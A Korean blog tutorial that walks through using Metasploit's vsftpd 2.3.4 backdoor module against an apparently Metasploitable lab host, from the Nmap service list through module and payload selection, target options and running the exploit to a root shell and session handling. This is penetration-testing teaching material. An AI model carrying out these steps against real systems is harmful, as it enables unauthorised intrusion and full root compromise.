본문 바로가기

Pen-Testing/Metasploit

Metasploit - 피해지 쉘 획득하기

1. msconsole 실행

 

2. 공격할 서비스 타겟

더보기
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4

 

2024.09.16 - [침투테스트/Metasploit] - Metasploit - 실행중인 서비스 확인하기(Nmap)

앞서 Nmap으로 스캔한 피해지의 동작 서비스 중, 공격할 서비스를 타겟합니다.

 

3. search - 취약점 검색

search [서비스 이름, 버전 정보]
NAME
------------------------------------
exploit/unix/ftp/vsftpd_234_backdoor

exploit : 실제 취약점을 이용하여 시스템 침투 or 권한 상승이 가능한 모듈
unix : 해당 모듈이 동작할 수 있는 운영체제
RANK
---------
excellent

excellent : 공격 성공 확률 높음

타겟한 서비스의 버전에 공격 가능한 취약점 모듈이 존재하는지 검색합니다.

 

4. 취약점 공격 모듈 장착

use 0 // 취약점 모듈 번호를 이용해 장착 가능
use exploit/unix/ftp/vsftpd_234_backdoor // 취약점 모듈 이름을 이용해 장착 가능

 

5. 공격 페이로드 검색 & 장착

show payloads // 공격 모듈 내, 페이로드 목록 검색
set payload 0 // 페이로드 번호를 이용해 사용할 페이로드를 장착

 

6. 공격을 위한 필수 정보 확인

show options
RHOSTS : 타겟 IP // 192.168.50.129
RPORT : 타겟 포트 // 21

Required 필드 값이 YES인 경우 값을 채워야 공격이 가능합니다. (공격을 위한 최소 정보)

 

7. 공격 필수 정보 입력

set [옵션 name] [옵션 value]

 

8. 공격 수행

run

성공적으로 피해지의 쉘을 얻은 모습을 확인할 수 있습니다.

id 명령을 통해 권한을 확인해보니, root 인 것을 확인할 수 있습니다.

헤당 케이스에서 권한 상승은 필요 없어 보입니다.

 

9. 쉘 관리

"Ctrl + Z " 입력을 통해 획득한 피해지의 쉘을 백그라운드로 넘길 수 있습니다.


sessions -i

해당 명령으로 백그라운드에 넘어가 있는 피해지의 쉘을 확인할 수 있습니다.


sessions [session_Id]

해당 명령을 통해 백그라운드로 넘어간 쉘을 다시 사용할 수 있는 모습을 볼 수 있습니다.